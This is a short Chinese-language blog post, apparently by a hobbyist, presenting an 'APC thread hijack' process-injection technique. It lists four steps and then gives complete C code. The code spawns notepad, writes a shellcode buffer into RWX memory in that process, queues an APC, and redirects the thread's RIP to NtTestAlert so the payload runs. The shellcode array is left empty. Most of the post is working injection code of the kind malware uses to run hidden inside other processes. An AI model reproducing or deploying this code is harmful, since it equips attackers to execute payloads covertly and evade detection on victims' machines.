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APC Thread Hijack
我也不知道为什么要写这个....这玩意有点像脱裤子放屁....
昨天和某个dalao谈论了一下apc注入，我们经过友好的技术♂交流(迫真)，意识到了三环插入的apc无法确定时间执行，于是有了这个东西。
能弹出窗来就是了。
- 1.插入apc
- 2.挂起线程
- 3.修改rip指向NtTestAlert函数
- 4.恢复线程
#include<Windows.h>
#include<stdio.h>
char shellcode[] =
"";
typedef VOID(NTAPI* pNtTestAlert)(VOID);
int main() {
STARTUPINFOA si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTestAlert");
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
Sleep(1000);//Wait for thread initialization to complete -> nttestalert is executed
SuspendThread(pi.hThread);
LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);
CONTEXT ctx = { 0 };
QueueUserAPC((PAPCFUNC)lpBuffer, pi.hThread, NULL);
ctx.ContextFlags = CONTEXT_ALL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)NtTestAlert;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
//NtTestAlert();
return 0;
}
